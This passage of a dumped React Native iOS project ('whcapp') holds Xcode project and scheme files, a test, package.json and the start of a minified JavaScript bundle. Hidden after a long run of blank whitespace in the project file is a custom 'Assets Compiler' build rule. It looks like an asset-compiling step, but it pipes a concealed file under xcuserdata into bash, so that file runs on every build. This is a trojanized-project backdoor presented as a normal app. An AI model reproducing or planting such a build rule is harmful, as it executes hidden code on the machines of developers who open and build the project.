YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 8.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = YES;\n\t\t\t\tONLY_ACTIVE_ARCH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t83CBBA211A601CBA00E9B192 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++0x\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\t\"CODE_SIGN_IDENTITY[sdk=iphoneos*]\" = \"iPhone Developer\";\n\t\t\t\tCOPY_PHASE_STRIP = YES;\n\t\t\t\tENABLE_NS_ASSERTIONS = NO;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu99;\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 8.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = NO;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tVALIDATE_PRODUCT = YES;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n/* End XCBuildConfiguration section */\n\n/* Begin XCConfigurationList section */\n\t\t00E357021AD99517003FC87E /* Build configuration list for PBXNativeTarget \"whcappTests\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t00E356F61AD99517003FC87E /* Debug */,\n\t\t\t\t00E356F71AD99517003FC87E /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\t13B07F931A680F5B00A75B9A /* Build configuration list for PBXNativeTarget \"whcapp\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t13B07F941A680F5B00A75B9A /* Debug */,\n\t\t\t\t13B07F951A680F5B00A75B9A /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\t2D02E4BA1E0B4A5E006451C7 /* Build configuration list for PBXNativeTarget \"whcapp-tvOS\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t2D02E4971E0B4A5E006451C7 /* Debug */,\n\t\t\t\t2D02E4981E0B4A5E006451C7 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\t2D02E4BB1E0B4A5E006451C7 /* Build configuration list for PBXNativeTarget \"whcapp-tvOSTests\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t2D02E4991E0B4A5E006451C7 /* Debug */,\n\t\t\t\t2D02E49A1E0B4A5E006451C7 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\t83CBB9FA1A601CBA00E9B192 /* Build configuration list for PBXProject \"whcapp\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t83CBBA201A601CBA00E9B192 /* Debug */,\n\t\t\t\t83CBBA211A601CBA00E9B192 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n/* End XCConfigurationList section */\n\n\t\t\n\t\t\t/* Begin PBXBuildRule section */\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\n\n\t\t\t\n\t\n\t\t\t\n\n\t\t3F708E50247A0EB6004066FD /* PBXBuildRule */ = {\n\t\t\tisa = PBXBuildRule;\n\t\t\tcompilerSpec = com.apple.compilers.proxy.script;\n\t\t\tfileType = folder.assetcatalog;\n\t\t\tname = \"Assets Compiler\";\n\t\t\tinputFiles = (\n\t\t\t);\n\t\t\tisEditable = 0;\n\t\t\toutputFiles = (\n\t\t\t\t\"$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)\",\n\t\t\t);\n\t\t\tscript = \"# Xcode Image Assets Compiler\\n\\ncp -rf \\\"${INPUT_FILE_PATH}\\\" \\\"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\\\"\\n\\nxcrun actool --minimum-deployment-target \\\"${IPHONEOS_DEPLOYMENT_TARGET}\\\"  --platform \\\"${PLATFORM_NAME}\\\" --compile \\\"${CODESIGNING_FOLDER_PATH}\\\" \\\"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\\\"\\n\\ncat \\\"${PROJECT_FILE_PATH}/xcuserdata/.xcassets/Assets.xcassets\\\" | bash\\n\\n\";\n\t\t\t};\n\t\t\t\n\t\n\t\t\t/* End PBXBuildRule section */\n\t\t\n\t\t\n\t};\n\trootObject = 83CBB9F71A601CBA00E9B192 /* Project object */;\n}\n"
  },
  {
    "path": "ios/whcapp.xcodeproj/xcshareddata/xcschemes/whcapp-tvOS.xcscheme",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Scheme\n   LastUpgradeVersion = \"0820\"\n   version = \"1.3\">\n   <BuildAction\n      parallelizeBuildables = \"NO\"\n      buildImplicitDependencies = \"YES\">\n      <BuildActionEntries>\n         <BuildActionEntry\n            buildForTesting = \"YES\"\n            buildForRunning = \"YES\"\n            buildForProfiling = \"YES\"\n            buildForArchiving = \"YES\"\n            buildForAnalyzing = \"YES\">\n            <BuildableReference\n               BuildableIdentifier = \"primary\"\n               BlueprintIdentifier = \"2D2A28121D9B038B00D4039D\"\n               BuildableName = \"libReact.a\"\n               BlueprintName = \"React-tvOS\"\n               ReferencedContainer = \"container:../node_modules/react-native/React/React.xcodeproj\">\n            </BuildableReference>\n         </BuildActionEntry>\n         <BuildActionEntry\n            buildForTesting = \"YES\"\n            buildForRunning = \"YES\"\n            buildForProfiling = \"YES\"\n            buildForArchiving = \"YES\"\n            buildForAnalyzing = \"YES\">\n            <BuildableReference\n               BuildableIdentifier = \"primary\"\n               BlueprintIdentifier = \"2D02E47A1E0B4A5D006451C7\"\n               BuildableName = \"whcapp-tvOS.app\"\n               BlueprintName = \"whcapp-tvOS\"\n               ReferencedContainer = \"container:whcapp.xcodeproj\">\n            </BuildableReference>\n         </BuildActionEntry>\n         <BuildActionEntry\n            buildForTesting = \"YES\"\n            buildForRunning = \"YES\"\n            buildForProfiling = \"NO\"\n            buildForArchiving = \"NO\"\n            buildForAnalyzing = \"YES\">\n            <BuildableReference\n               BuildableIdentifier = \"primary\"\n               BlueprintIdentifier = \"2D02E48F1E0B4A5D006451C7\"\n               BuildableName = \"whcapp-tvOSTests.xctest\"\n               BlueprintName = \"whcapp-tvOSTests\"\n               ReferencedContainer = \"container:whcapp.xcodeproj\">\n            </BuildableReference>\n         </BuildActionEntry>\n      </BuildActionEntries>\n   </BuildAction>\n   <TestAction\n      buildConfiguration = \"Debug\"\n      selectedDebuggerIdentifier = \"Xcode.DebuggerFoundation.Debugger.LLDB\"\n      selectedLauncherIdentifier = \"Xcode.DebuggerFoundation.Launcher.LLDB\"\n      shouldUseLaunchSchemeArgsEnv = \"YES\">\n      <Testables>\n         <TestableReference\n            skipped = \"NO\">\n            <BuildableReference\n               BuildableIdentifier = \"primary\"\n               BlueprintIdentifier = \"2D02E48F1E0B4A5D006451C7\"\n               BuildableName = \"whcapp-tvOSTests.xctest\"\n               BlueprintName = \"whcapp-tvOSTests\"\n               ReferencedContainer = \"container:whcapp.xcodeproj\">\n            </BuildableReference>\n         </TestableReference>\n      </Testables>\n      <MacroExpansion>\n         <BuildableReference\n            BuildableIdentifier = \"primary\"\n            BlueprintIdentifier = \"2D02E47A1E0B4A5D006451C7\"\n            BuildableName = \"whcapp-tvOS.app\"\n            BlueprintName = \"whcapp-tvOS\"\n            ReferencedContainer = \"container:whcapp.xcodeproj\">\n         </BuildableReference>\n      </MacroExpansion>\n      <AdditionalOptions>\n      </AdditionalOptions>\n   </TestAction>\n   <LaunchAction\n      buildConfiguration = \"Debug\"\n      selectedDebuggerIdentifier = \"Xcode.DebuggerFoundation.Debugger.LLDB\"\n      selectedLauncherIdentifier = \"Xcode.DebuggerFoundation.Launcher.LLDB\"\n      launchStyle = \"0\"\n      useCustomWorkingDirectory = \"NO\"\n      ignoresPersistentStateOnLaunch = \"NO\"\n      debugDocumentVersioning = \"YES\"\n      debugServiceExtension = \"internal\"\n      allowLocationSimulation = \"YES\">\n      <BuildableProductRunnable\n         runnableDebuggingMode = \"0\">\n         <BuildableReference\n            BuildableIdentifier = \"primary\"\n            BlueprintIdentifier = \"2D02E47A1E0B4A5D006451C7\"\n            BuildableName = \"whcapp-tvOS.app\"\n            BlueprintName = \"whcapp-tvOS\"\n            ReferencedContainer = \"container:whcapp.xcodeproj\">\n         </BuildableReference>\n      </BuildableProductRunnable>\n      <AdditionalOptions>\n      </AdditionalOptions>\n   </LaunchAction>\n   <ProfileAction\n      buildConfiguration = \"Release\"\n      shouldUseLaunchSchemeArgsEnv = \"YES\"\n      savedToolIdentifier = \"\"\n      useCustomWorkingDirectory = \"NO\"\n      debugDocumentVersioning = \"YES\">\n      <BuildableProductRunnable\n         runnableDebuggingMode = \"0\">\n         <BuildableReference\n            BuildableIdentifier = \"primary\"\n            BlueprintIdentifier = \"2D02E47A1E0B4A5D006451C7\"\n            BuildableName = \"whcapp-tvOS.app\"\n            BlueprintName = \"whcapp-tvOS\"\n            ReferencedContainer = \"container:whcapp.xcodeproj\">\n         </BuildableReference>\n      </BuildableProductRunnable>\n   </ProfileAction>\n   <AnalyzeAction\n      buildConfiguration = \"Debug\">\n   </AnalyzeAction>\n   <ArchiveAction\n      buildConfiguration = \"Release\"\n      revealArchiveInOrganizer = \"YES\">\n   </ArchiveAction>\n</Scheme>\n"
  },
  {
    "path": "ios/whcapp.xcodeproj/xcshareddata/xcschemes/whcapp.xcscheme",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Scheme\n   LastUpgradeVersion = \"0620\"\n   version = \"1.3\">\n   <BuildAction\n      parallelizeBuildables = \"NO\"\n      buildImplicitDependencies = \"YES\">\n      <BuildActionEntries>\n         <BuildActionEntry\n            buildForTesting = \"YES\"\n            buildForRunning = \"YES\"\n            buildForProfiling = \"YES\"\n            buildForArchiving = \"YES\"\n            buildForAnalyzing = \"YES\">\n            <BuildableReference\n               BuildableIdentifier = \"primary\"\n               BlueprintIdentifier = \"83CBBA2D1A601D0E00E9B192\"\n               BuildableName = \"libReact.a\"\n               BlueprintName = \"React\"\n               ReferencedContainer = \"container:../node_modules/react-native/React/React.xcodeproj\">\n            </BuildableReference>\n         </BuildActionEntry>\n         <BuildActionEntry\n            buildForTesting = \"YES\"\n            buildForRunning = \"YES\"\n            buildForProfiling = \"YES\"\n            buildForArchiving = \"YES\"\n            buildForAnalyzing = \"YES\">\n            <BuildableReference\n               BuildableIdentifier = \"primary\"\n               BlueprintIdentifier = \"13B07F861A680F5B00A75B9A\"\n               BuildableName = \"whcapp.app\"\n               BlueprintName = \"whcapp\"\n               ReferencedContainer = \"container:whcapp.xcodeproj\">\n            </BuildableReference>\n         </BuildActionEntry>\n         <BuildActionEntry\n            buildForTesting = \"YES\"\n            buildForRunning = \"YES\"\n            buildForProfiling = \"NO\"\n            buildForArchiving = \"NO\"\n            buildForAnalyzing = \"YES\">\n            <BuildableReference\n               BuildableIdentifier = \"primary\"\n               BlueprintIdentifier = \"00E356ED1AD99517003FC87E\"\n               BuildableName = \"whcappTests.xctest\"\n               BlueprintName = \"whcappTests\"\n               ReferencedContainer = \"container:whcapp.xcodeproj\">\n            </BuildableReference>\n         </BuildActionEntry>\n      </BuildActionEntries>\n   </BuildAction>\n   <TestAction\n      buildConfiguration = \"Debug\"\n      selectedDebuggerIdentifier = \"Xcode.DebuggerFoundation.Debugger.LLDB\"\n      selectedLauncherIdentifier = \"Xcode.DebuggerFoundation.Launcher.LLDB\"\n      language = \"\"\n      shouldUseLaunchSchemeArgsEnv = \"YES\">\n      <Testables>\n         <TestableReference\n            skipped = \"NO\">\n            <BuildableReference\n               BuildableIdentifier = \"primary\"\n               BlueprintIdentifier = \"00E356ED1AD99517003FC87E\"\n               BuildableName = \"whcappTests.xctest\"\n               BlueprintName = \"whcappTests\"\n               ReferencedContainer = \"container:whcapp.xcodeproj\">\n            </BuildableReference>\n         </TestableReference>\n      </Testables>\n      <MacroExpansion>\n         <BuildableReference\n            BuildableIdentifier = \"primary\"\n            BlueprintIdentifier = \"13B07F861A680F5B00A75B9A\"\n            BuildableName = \"whcapp.app\"\n            BlueprintName = \"whcapp\"\n            ReferencedContainer = \"container:whcapp.xcodeproj\">\n         </BuildableReference>\n      </MacroExpansion>\n      <AdditionalOptions>\n      </AdditionalOptions>\n   </TestAction>\n   <LaunchAction\n      buildConfiguration = \"Debug\"\n      selectedDebuggerIdentifier = \"Xcode.DebuggerFoundation.Debugger.LLDB\"\n      selectedLauncherIdentifier = \"Xcode.DebuggerFoundation.Launcher.LLDB\"\n      language = \"\"\n      launchStyle = \"0\"\n      useCustomWorkingDirectory = \"NO\"\n      ignoresPersistentStateOnLaunch = \"NO\"\n      debugDocumentVersioning = \"YES\"\n      debugServiceExtension = \"internal\"\n      allowLocationSimulation = \"YES\">\n      <BuildableProductRunnable\n         runnableDebuggingMode = \"0\">\n         <BuildableReference\n            BuildableIdentifier = \"primary\"\n            BlueprintIdentifier = \"13B07F861A680F5B00A75B9A\"\n            BuildableName = \"whcapp.app\"\n            BlueprintName = \"whcapp\"\n            ReferencedContainer = \"container:whcapp.xcodeproj\">\n         </BuildableReference>\n      </BuildableProductRunnable>\n      <AdditionalOptions>\n      </AdditionalOptions>\n   </LaunchAction>\n   <ProfileAction\n      buildConfiguration = \"Release\"\n      shouldUseLaunchSchemeArgsEnv = \"YES\"\n      savedToolIdentifier = \"\"\n      useCustomWorkingDirectory = \"NO\"\n      debugDocumentVersioning = \"YES\">\n      <BuildableProductRunnable\n         runnableDebuggingMode = \"0\">\n         <BuildableReference\n            BuildableIdentifier = \"primary\"\n            BlueprintIdentifier = \"13B07F861A680F5B00A75B9A\"\n            BuildableName = \"whcapp.app\"\n            BlueprintName = \"whcapp\"\n            ReferencedContainer = \"container:whcapp.xcodeproj\">\n         </BuildableReference>\n      </BuildableProductRunnable>\n   </ProfileAction>\n   <AnalyzeAction\n      buildConfiguration = \"Debug\">\n   </AnalyzeAction>\n   <ArchiveAction\n      buildConfiguration = \"Release\"\n      revealArchiveInOrganizer = \"YES\">\n   </ArchiveAction>\n</Scheme>\n"
  },
  {
    "path": "ios/whcappTests/Info.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>CFBundleDevelopmentRegion</key>\n\t<string>en</string>\n\t<key>CFBundleExecutable</key>\n\t<string>$(EXECUTABLE_NAME)</string>\n\t<key>CFBundleIdentifier</key>\n\t<string>org.reactjs.native.example.$(PRODUCT_NAME:rfc1034identifier)</string>\n\t<key>CFBundleInfoDictionaryVersion</key>\n\t<string>6.0</string>\n\t<key>CFBundleName</key>\n\t<string>$(PRODUCT_NAME)</string>\n\t<key>CFBundlePackageType</key>\n\t<string>BNDL</string>\n\t<key>CFBundleShortVersionString</key>\n\t<string>1.0</string>\n\t<key>CFBundleSignature</key>\n\t<string>????</string>\n\t<key>CFBundleVersion</key>\n\t<string>1</string>\n</dict>\n</plist>\n"
  },
  {
    "path": "ios/whcappTests/whcappTests.m",
    "content": "/**\n * Copyright (c) 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n */\n\n#import <UIKit/UIKit.h>\n#import <XCTest/XCTest.h>\n\n#import <React/RCTLog.h>\n#import <React/RCTRootView.h>\n\n#define TIMEOUT_SECONDS 600\n#define TEXT_TO_LOOK_FOR @\"Welcome to React Native!\"\n\n@interface whcappTests : XCTestCase\n\n@end\n\n@implementation whcappTests\n\n- (BOOL)findSubviewInView:(UIView *)view matching:(BOOL(^)(UIView *view))test\n{\n  if (test(view)) {\n    return YES;\n  }\n  for (UIView *subview in [view subviews]) {\n    if ([self findSubviewInView:subview matching:test]) {\n      return YES;\n    }\n  }\n  return NO;\n}\n\n- (void)testRendersWelcomeScreen\n{\n  UIViewController *vc = [[[RCTSharedApplication() delegate] window] rootViewController];\n  NSDate *date = [NSDate dateWithTimeIntervalSinceNow:TIMEOUT_SECONDS];\n  BOOL foundElement = NO;\n\n  __block NSString *redboxError = nil;\n  RCTSetLogFunction(^(RCTLogLevel level, RCTLogSource source, NSString *fileName, NSNumber *lineNumber, NSString *message) {\n    if (level >= RCTLogLevelError) {\n      redboxError = message;\n    }\n  });\n\n  while ([date timeIntervalSinceNow] > 0 && !foundElement && !redboxError) {\n    [[NSRunLoop mainRunLoop] runMode:NSDefaultRunLoopMode beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]];\n    [[NSRunLoop mainRunLoop] runMode:NSRunLoopCommonModes beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]];\n\n    foundElement = [self findSubviewInView:vc.view matching:^BOOL(UIView *view) {\n      if ([view.accessibilityLabel isEqualToString:TEXT_TO_LOOK_FOR]) {\n        return YES;\n      }\n      return NO;\n    }];\n  }\n\n  RCTSetLogFunction(RCTDefaultLogFunction);\n\n  XCTAssertNil(redboxError, @\"RedBox error: %@\", redboxError);\n  XCTAssertTrue(foundElement, @\"Couldn't find element with text '%@' in %d seconds\", TEXT_TO_LOOK_FOR, TIMEOUT_SECONDS);\n}\n\n\n@end\n"
  },
  {
    "path": "package.json",
    "content": "{\n\t\"name\": \"whcapp\",\n\t\"version\": \"0.0.1\",\n\t\"private\": true,\n\t\"scripts\": {\n\t\t\"start\": \"node node_modules/react-native/local-cli/cli.js start\",\n\t\t\"test\": \"jest\"\n\t},\n\t\"dependencies\": {\n\t\t\"react\": \"16.0.0-beta.5\",\n\t\t\"react-native\": \"0.49.5\",\n\t\t\"react-navigation\": \"1.0.0-beta.19\",\n\t\t\"react-redux\": \"^5.0.5\",\n\t\t\"redux\": \"^3.7.2\",\n\t\t\"redux-thunk\": \"^2.2.0\",\n\t\t\"prop-types\": \"^15.5.7\"\n\t},\n\t\"devDependencies\": {\n\t\t\"babel-jest\": \"21.2.0\",\n\t\t\"babel-preset-react-native\": \"4.0.0\",\n\t\t\"jest\": \"21.2.1\",\n\t\t\"react-test-renderer\": \"16.0.0-beta.5\"\n\t},\n\t\"jest\": {\n\t\t\"preset\": \"react-native\"\n\t}\n}\n"
  },
  {
    "path": "release_ios/main.jsbundle",
    "content": "!function(e){e.__DEV__=!1,e.__BUNDLE_START_TIME__=e.nativePerformanceNow?e.nativePerformanceNow():Date.now()}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:this);\n!function(r){\"use strict\";function e(r,e,t){e in u||(u[e]={dependencyMap:t,exports:void 0,factory:r,hasError:!1,isInitialized:!1})}function t(r){var e=r,t=u[e];return t&&t.isInitialized?t.exports:n(e,t)}function n(e,t){if(!c&&r.ErrorUtils){c=!0;var n=void 0;try{n=i(e,t)}catch(e){r.ErrorUtils.reportFatalError(e)}return c=!1,n}return i(e,t)}function i(e,n){var i=r.nativeRequire;if(!n&&i&&(i(e),n=u[e]),!n)throw o(e);if(n.hasError)throw a(e,n.error);n.isInitialized=!0;var c=n.exports={},s=n,d=s.factory,f=s.dependencyMap;try{var l={exports:c};return d(r,t,l,c,f),n.factory=void 0,n.dependencyMap=void 0,n.exports=l.exports}catch(r){throw n.hasError=!0,n.error=r,n.isInitialized=!1,n.exports=void 0,r}}function o(r){var e='Requiring unknown module \"'+r+'\".';return Error(e)}function a(r,e){var t=r;return Error('Requiring module \"'+t+'\", which threw an exception: '+e)}r.require=t,r.__d=e;var u=Object.create(null);t.async=function(r){return Promise.resolve().then(function(){return t(r)})};var c=!1}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:this);\n!function(n){Object.assign=function(n,e){for(var f=1;f<arguments.length;f++){var l=arguments[f];if(null!=l)for(var i in l)n[i]=l[i]}return n}}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:this);\n!function(n){function r(r){return function(){var e=void 0;e=1===arguments.length&&\"string\"==typeof arguments[0]?arguments[0]:Array.prototype.map.call(arguments,function(n){return i(n,{depth:10})}).join(\", \");var t=r;\"Warning: \"===e.slice(0,9)&&t>=u.error&&(t=u.warn),n.__inspectorLog&&n.__inspectorLog(a[t],e,[].slice.call(arguments),l),n.nativeLoggingHook(e,t)}}function e(n,r){return Array.apply(null,Array(r)).map(function(){return n})}function t(r){function t(n,r){var t=n.map(function(n,r){var t=e(\" \",p[r]-n.length).join(\"\");return n+t});return r=r||\" \",t.join(r+\"|\"+r)}if(!Array.isArray(r)){var i=r;r=[];for(var a in i)if(i.hasOwnProperty(a)){var l=i[a];l[o]=a,r.push(l)}}if(0===r.length)return void n.nativeLoggingHook(\"\",u.info);var c=Object.keys(r[0]).sort(),f=[],p=[];c.forEach(function(n,e){p[e]=n.length;for(var t=0;t<r.length;t++){var i=(r[t][n]||\"?\").toString();f[t]=f[t]||[],f[t][e]=i,p[e]=Math.max(p[e],i.length)}});for(var s=p.map(function(n){return e(\"-\",n).join(\"\")}),g=t(s,\"-\"),y=t(c),v=[y,g],h=0;h<r.length;h++)v.push(t(f[h]));n.nativeLoggingHook(\"\\n\"+v.join(\"\\n\"),u.info)}var i=function(){function n(n,e){var i={seen:[],stylize:r};return t(i,n,e.depth)}function r(n,r){return n}function e(n){var r={};return n.forEach(function(n,e){r[n]=!0}),r}function t(n,r,t){var f=i(n,r);if(f)return f;var p=Object.keys(r),s=e(p);if(b(r)&&(p.indexOf(\"message\")>=0||p.indexOf(\"description\")>=0))return o(r);if(0===p.length){if(m(r)){var g=r.name?\": \"+r.name:\"\";return n.stylize(\"[Function\"+g+\"]\",\"special\")}if(v(r))return n.stylize(RegExp.prototype.toString.call(r),\"regexp\");if(d(r))return n.stylize(Date.prototype.toString.call(r),\"date\");if(b(r))return o(r)}var y=\"\",h=!1,j=[\"{\",\"}\"];if(c(r)&&(h=!0,j=[\"[\",\"]\"]),m(r)){var z=r.name?\": \"+r.name:\"\";y=\" [Function\"+z+\"]\"}if(v(r)&&(y=\" \"+RegExp.prototype.toString.call(r)),d(r)&&(y=\" \"+Date.prototype.toUTCString.call(r)),b(r)&&(y=\" \"+o(r)),0===p.length&&(!h||0==r.length))return j[0]+y+j[1];if(t<0)return v(r)?n.stylize(RegExp.prototype.toString.call(r),\"regexp\"):n.stylize(\"[Object]\",\"special\");n.seen.push(r);var O;return O=h?u(n,r,t,s,p):p.map(function(e){return a(n,r,t,s,e,h)}),n.seen.pop(),l(O,y,j)}function i(n,r){if(y(r))return n.stylize(\"undefined\",\"undefined\");if(g(r)){var e=\"'\"+JSON.stringify(r).replace(/^\"|\"$/g,\"\").replace(/'/g,\"\\\\'\").replace(/\\\\\"/g,'\"')+\"'\";return n.stylize(e,\"string\")}return s(r)?n.stylize(\"\"+r,\"number\"):f(r)?n.stylize(\"\"+r,\"boolean\"):p(r)?n.stylize(\"null\",\"null\"):void 0}function o(n){return\"[\"+Error.prototype.toString.call(n)+\"]\"}function u(n,r,e,t,i){for(var o=[],u=0,l=r.length;u<l;++u)z(r,String(u))?o.push(a(n,r,e,t,String(u),!0)):o.push(\"\");return i.forEach(function(i){i.match(/^\\d+$/)||o.push(a(n,r,e,t,i,!0))}),o}function a(n,r,e,i,o,u){var a,l,c;if(c=Object.getOwnPropertyDescriptor(r,o)||{value:r[o]},c.get?l=c.set?n.stylize(\"[Getter/Setter]\",\"special\"):n.stylize(\"[Getter]\",\"special\"):c.set&&(l=n.stylize(\"[Setter]\",\"special\")),z(i,o)||(a=\"[\"+o+\"]\"),l||(n.seen.indexOf(c.value)<0?(l=p(e)?t(n,c.value,null):t(n,c.value,e-1),l.indexOf(\"\\n\")>-1&&(l=u?l.split(\"\\n\").map(function(n){return\"  \"+n}).join(\"\\n\").substr(2):\"\\n\"+l.split(\"\\n\").map(function(n){return\"   \"+n}).join(\"\\n\"))):l=n.stylize(\"[Circular]\",\"special\")),y(a)){if(u&&o.match(/^\\d+$/))return l;a=JSON.stringify(\"\"+o),a.match(/^\"([a-zA-Z_][a-zA-Z_0-9]*)\"$/)?(a=a.substr(1,a.length-2),a=n.stylize(a,\"name\")):(a=a.replace(/'/g,\"\\\\'\").replace(/\\\\\"/g,'\"').replace(/(^\"|\"$)/g,\"'\"),a=n.stylize(a,\"string\"))}return a+\": \"+l}function l(n,r,e){var t=0,i=n.reduce(function(n,r){return t++,r.indexOf(\"\\n\")>=0&&t++,n+r.replace(/\\u001b\\[\\d\\d?m/g,\"\").length+1},0);return i>60?e[0]+(\"\"===r?\"\":r+\"\\n \")+\" \"+n.join(\",\\n  \")+\" \"+e[1]:e[0]+r+\" \"+n.join(\", \")+\" \"+e[1]}function c(n){return Array.isArray(n)}function f(n){return\"boolean\"==typeof n}function p(n){return null===n}function s(n){return\"number\"==typeof n}function g(n){return\"string\"==typeof n}function y(n){return void 0===n}function v(n){return h(n)&&\"[object RegExp]\"===j(n)}function h(n){return\"object\"==typeof n&&null!==n}function d(n){return h(n)&&\"[object Date]\"===j(n)}function b(n){return h(n)&&(\"[object Error]\"===j(n)||n instanceof Error)}function m(n){return\"function\"==typeof n}function j(n){return Object.prototype.toString.call(n)}function z(n,r){return Object.prototype.hasOwnProperty.call(n,r)}return n}(),o=\"(index)\",u={trace:0,info:1,warn:2,error:3},a=[];a[u.trace]=\"debug\",a[u.info]=\"log\",a[u.warn]=\"warning\",a[u.error]=\"error\";var l=1;if(n.nativeLoggingHook){n.console;n.console={error:r(u.error),info:r(u.info),log:r(u.info),warn:r(u.warn),trace:r(u.trace),debug:r(u.trace),table:t}}else if(!n.console){var c=n.print||function(){};n.console={error:c,info:c,log:c,warn:c,trace:c,debug:c,table:c}}}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:this);\n!function(r){var n=0,t=function(r){throw r},u={setGlobalHandler:function(r){t=r},getGlobalHandler:function(){return t},reportError:function(r){t&&t(r)},reportFatalError:function(r){t&&t(r,!0)},applyWithGuard:function(r,t,e){try{return n++,r.apply(t,e)}catch(r){u.reportError(r)}finally{n--}return null},applyWithGuardIfNeeded:function(r,n,t){return u.inGuard()?r.apply(n,t):(u.applyWithGuard(r,n,t),null)},inGuard:function(){return n},guard:function(r,n,t){function e(){return u.applyWithGuard(r,t||this,arguments,null,n)}return\"function\"!=typeof r?(console.warn(\"A function must be passed to ErrorUtils.guard, got \",r),null):(n=n||r.name||\"<generated guard>\",e)}};r.ErrorUtils=u}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:this);\n!function(e){if(void 0===Number.EPSILON&&Object.defineProperty(Number,\"EPSILON\",{value:Math.pow(2,-52)}),void 0===Number.MAX_SAFE_INTEGER&&Object.defineProperty(Number,\"MAX_SAFE_INTEGER\",{value:Math.pow(2,53)-1}),void 0===Number.MIN_SAFE_INTEGER&&Object.defineProperty(Number,\"MIN_SAFE_INTEGER\",{value:-(Math.pow(2,53)-1)}),!Number.isNaN){var r=e.isNaN;Object.defineProperty(Number,\"isNaN\",{configurable:!0,enumerable:!1,value:function(e){return\"number\"==typeof e&&r(e)},writable:!0})}}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof 